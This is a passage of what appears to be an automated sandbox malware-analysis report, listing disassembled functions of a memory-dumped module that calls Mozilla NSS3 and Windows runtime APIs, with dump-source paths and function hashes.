memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6C5A1360,00000000), ref: 6C5A2B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6C5A2B90

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 5410ebf8596ebab24ab20a75b0380be5ffcb37806e5709fd386a6892eba4807d
Instruction ID: 5f94af158339fcea2d27f203baa22da8585d5007c4b1ca2afc47f761ed8c572f
Opcode Fuzzy Hash: 5410ebf8596ebab24ab20a75b0380be5ffcb37806e5709fd386a6892eba4807d
Instruction Fuzzy Hash: 87C18171E012069FEB08CFA7CC997AEB7A5AF88314F158229D91D9B741D730E842CBD5

Function 6C5B9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5B9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5B9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5B9DDE

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 3d4a6ac73f7d522fc2e58c0858e577b54be274233848a888f65842c0507f46f8
Instruction ID: fbe96d04885f23cb70f4496374f3d4b0a340abac1b7c958dbc8639d84da89197
Opcode Fuzzy Hash: 3d4a6ac73f7d522fc2e58c0858e577b54be274233848a888f65842c0507f46f8
Instruction Fuzzy Hash: 84A1BF717051088FEB0ADF24DCA87AE3B75BB93315F38013DE5166BA40DB39A845DB92

Function 6C5BA910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae82a966983b6972efaa9b38bc1ad82e2edcfb08c1ad9026436b5bf942cce6a1
Instruction ID: 935cad08419f9d6ccdaf6d270d04d2c840564f5ca8d7b1eb67ac315f9c8fd6b2
Opcode Fuzzy Hash: ae82a966983b6972efaa9b38bc1ad82e2edcfb08c1ad9026436b5bf942cce6a1
Instruction Fuzzy Hash: DC91C2717012088FEB08DF64DDA9B6B3BB9FB47305F24043DE65657A40EB38A845CBA1

Function 6C63C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6C63CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6C63CA35
PR_Unlock.NSS3(00000000), ref: 6C63CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6C63CA77
PR_Unlock.NSS3(00000000), ref: 6C63CAFC

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 791b09d879ec338743547c5356ef47d4bbe849dab91244c83cfa4d51faff2870
Instruction ID: 385c971f9fc76dbc5cd8aab90f612efae96b3d767a17768c5f15faa78b8fd4db
Opcode Fuzzy Hash: 791b09d879ec338743547c5356ef47d4bbe849dab91244c83cfa4d51faff2870
Instruction Fuzzy Hash: 8A41F571E00235ABDB00EF64C840AAB7BB4EF45388F142264ED1A97711EB31E910CBE9

Function 6C694A00 Relevance: 7.6, APIs: 5, Instructions: 126threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C694A8D
CERT_SaveSMimeProfile.NSS3(00000000,00000000,00000000), ref: 6C694B01
CERT_DestroyCertificate.NSS3(00000000), ref: 6C694B12
PR_SetError.NSS3(?,00000000), ref: 6C694B1F
CERT_FindCertByIssuerAndSN.NSS3(?,?), ref: 6C694B35

Part of subcall function 6C6904A0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,00000000), ref: 6C6904B9
Part of subcall function 6C6904A0: memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000), ref: 6C69050A
Part of subcall function 6C6904A0: memcmp.VCRUNTIME140(?,00000000,?), ref: 6C690545

Part of subcall function 6C6952E0: PORT_NewArena_Util.NSS3(00000400,6C694A57,?,00000000), ref: 6C6952F7
Part of subcall function 6C6952E0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C75301C,WJil,?,6C694A57,?,00000000), ref: 6C695312
Part of subcall function 6C6952E0: CERT_FindCertByIssuerAndSN.NSS3(?,?,?,?,?,?,?,6C694A57,?,00000000), ref: 6C695327
Part of subcall function 6C6952E0: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,6C694A57,?,00000000), ref: 6C695334

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Find$Arena_CertIssuermemcmp$CertificateCurrentDecodeDestroyErrorFreeItem_MimeProfileQuickSaveTag_Thread
String ID:
API String ID: 3052039812-0
Opcode ID: 25bc9b844146c070e9eb927a6b9999d59f2214fa4b37a7bbbb0921cf14e0603f
Instruction ID: 3885c677a8a8af03cd42ad201f42ed4d68804b4370f2943582730aef472a45fb
Opcode Fuzzy Hash: 25bc9b844146c070e9eb927a6b9999d59f2214fa4b37a7bbbb0921cf14e0603f
Instruction Fuzzy Hash: 15310DB2E0120257EB005E35AC40BBB766C9F5731DF150174EC24ABB4AEBB5C805C7AD

Function 6C666AE0 Relevance: 7.6, APIs: 6, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C666943
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C666957
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C666972
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C666983
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6669AA
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6669BE
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6669D2
Part of subcall function 6C666910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6669DF
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C666A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?,00000000,00000000), ref: 6C666B66
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?,00000000,00000000), ref: 6C666B88
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?,00000000,00000000), ref: 6C666BAF
free.MOZGLUE(00000000,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?,00000000,00000000), ref: 6C666BE6
free.MOZGLUE(?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?,00000000,00000000), ref: 6C666BF7
free.MOZGLUE(6C66781D,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?,00000000,00000000), ref: 6C666C08

Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C66781D,00000000,6C65BE2C,?,6C666B1D,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C40
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?), ref: 6C666C58
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C6F
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C666C84
Part of subcall function 6C666C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C666C96
Part of subcall function 6C666C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C666CAA

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmpstrncmp$FlagL_strncasecmpfree$Strip$ParameterSecureSkip
String ID:
API String ID: 3779992554-0
Opcode ID: d05b998c5fa561e3a2c4c5b28c4db264dc09c2b6e2e9e490b99b1ca8873332cb
Instruction ID: 367da2c94235caaa8e46b3419d8934be7b16267c6fa2327ce6e46a18227d91f6
Opcode Fuzzy Hash: d05b998c5fa561e3a2c4c5b28c4db264dc09c2b6e2e9e490b99b1ca8873332cb
Instruction Fuzzy Hash: 14418371E04219DBEF00CE76E944BDEB7B8AF09349F140525D814E7A40E735E954C7AA

Function 6C73AA70 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C73AA86

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Part of subcall function 6C73A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C73A662), ref: 6C73A69E
Part of subcall function 6C73A690: PR_NewCondVar.NSS3(?), ref: 6C73A6B4

PR_IntervalNow.NSS3 ref: 6C73AAEC
EnterCriticalSection.KERNEL32(?), ref: 6C73AB0A
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C73AB67
_PR_MD_UNLOCK.NSS3(?), ref: 6C73AB8B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CondCriticalEnterErrorIntervalSectionValuecalloc
String ID:
API String ID: 318662135-0
Opcode ID: 0fdccb49f45a5817c2c8de00bbd352989b24f7cbc073b86025b7b0d8c8f659ce
Instruction ID: 6157c7ad70887ff24fe9c2a7e315405da68c8cec9ad520cfea6ceddd97c94d07
Opcode Fuzzy Hash: 0fdccb49f45a5817c2c8de00bbd352989b24f7cbc073b86025b7b0d8c8f659ce
Instruction Fuzzy Hash: BC4182B5A00715CFCB50DF69C98195AB7F6BF49328728456EE81DCBB02E731E845CB90

Function 6C61EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C61EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C61EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C61EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61EEEB
free.MOZGLUE(?), ref: 6C61EEF6

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: ead8f599c121bd397c25c73dc1a7c04c56152c2dc76c58900e3a2a4b9d145813
Instruction ID: 80cc1783d6c4c3532fb287662377bed0a894c981d85fcbdf6995554fb686a141
Opcode Fuzzy Hash: ead8f599c121bd397c25c73dc1a7c04c56152c2dc76c58900e3a2a4b9d145813
Instruction Fuzzy Hash: 24312871A082009BEB209F2CCC48BA67BF4FB46317F140538E95A87E51D731E815CBE9

Function 6C626AF0 Relevance: 7.6, APIs: 5, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(00000000,6C62B21D,00000000,00000000,6C62B219,?,6C626BFB,00000000,?,00000000,00000000,?,?,?,6C62B21D), ref: 6C626B01

Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C67FE08
Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C67FE1D
Part of subcall function 6C67FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C67FE62

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,6C62B219,?,6C626BFB,00000000,?,00000000,00000000,?,?,?,6C62B21D), ref: 6C626B36
PORT_ArenaAlloc_Util.NSS3(00000000,00000030), ref: 6C626B47
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C626B8A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000004,?,0000001C), ref: 6C626BB6

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Item_$DecodeQuick$Errormemcpy
String ID:
API String ID: 1773792728-0
Opcode ID: d238d9ff78c6ba55245788b7a545bdcc0bb3692005dcc815cf13fcd14919ec22
Instruction ID: f2d71bdfb759b4a8d55edc76ee2dcc866d89da30bad28ed5802957d8b6cfc091
Opcode Fuzzy Hash: d238d9ff78c6ba55245788b7a545bdcc0bb3692005dcc815cf13fcd14919ec22
Instruction Fuzzy Hash: E02106319023545BEB108F64CD44F9A7BE8DB5635DF148529EC08D7A11F735E5608FA8

Function 6C62AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000,00000000), ref: 6C62ADA7

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000,00000000), ref: 6C62ADB4

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C623FFF,?,?,?,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000), ref: 6C62ADD5

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7494B0,?,?,?,?,?,?,?,?,6C623FFF,00000000,?), ref: 6C62ADEC

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C623FFF), ref: 6C62AE3C

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: c3be4660fc774b65ca983d1a34520dd15b90214c3d7a3531306e674ce7c70a5b
Instruction ID: 693575b85f836b54c7f34efb04fcfb07c88b54ea976674490eebd194bb69ec92
Opcode Fuzzy Hash: c3be4660fc774b65ca983d1a34520dd15b90214c3d7a3531306e674ce7c70a5b
Instruction Fuzzy Hash: 81117B71E003081BE7109B649C00BBF73E8DF9224CF00452CEC6596742FB64E95986FE

Function 6C678800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C68085A,00000000,?,6C628369,?), ref: 6C678821
TlsGetValue.KERNEL32(?,?,6C68085A,00000000,?,6C628369,?), ref: 6C67883D
EnterCriticalSection.KERNEL32(?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C678887
PR_Unlock.NSS3(?,?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678899

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 3c142d1a915505b3913fd25d22938c62c00140ac0fc89ae3f1740656343368ba
Instruction ID: 1e65dd6beaca3ec46ccd79214274d496a7dada73cafde7a4242b1c7c40fe28f5
Opcode Fuzzy Hash: 3c142d1a915505b3913fd25d22938c62c00140ac0fc89ae3f1740656343368ba
Instruction Fuzzy Hash: 0F2183B4A04605CFDB10AF78C4841AABBF4FF0A349F104A66DC94E7715E730D894CBA6

Function 6C6428A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6380DD), ref: 6C6428BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C6380DD), ref: 6C6428D3
PR_Unlock.NSS3(?,?,?,?,?,6C6380DD), ref: 6C6428E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C6380DD), ref: 6C64290E
free.MOZGLUE(?,?,?,?,?,?,6C6380DD), ref: 6C64291A

Part of subcall function 6C639270: DeleteCriticalSection.KERNEL32(?,?,6C645089,?,6C643B70,?,?,?,?,?,6C645089,6C63F39B,00000000), ref: 6C63927F
Part of subcall function 6C639270: free.MOZGLUE(?,?,6C643B70,?,?,?,?,?,6C645089,6C63F39B,00000000), ref: 6C639286
Part of subcall function 6C639270: PL_HashTableDestroy.NSS3(?,6C643B70,?,?,?,?,?,6C645089,6C63F39B,00000000), ref: 6C639292

Part of subcall function 6C638B50: TlsGetValue.KERNEL32(00000000,?,6C640948,00000000), ref: 6C638B6B
Part of subcall function 6C638B50: EnterCriticalSection.KERNEL32(?,?,?,6C640948,00000000), ref: 6C638B80
Part of subcall function 6C638B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C640948,00000000), ref: 6C638B8F
Part of subcall function 6C638B50: PR_Unlock.NSS3(?,?,?,?,6C640948,00000000), ref: 6C638BA1
Part of subcall function 6C638B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C640948,00000000), ref: 6C638BAC
Part of subcall function 6C638B50: free.MOZGLUE(?,?,?,?,?,6C640948,00000000), ref: 6C638BB8

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 9f00a438e152552ec20c83b730be21643383756edaa782a1d43a775014e2eec3
Instruction ID: e85c49f6afb58e3a953f9d5f6f0347640b40ea57d9bbbf696f24129eb83c0a33
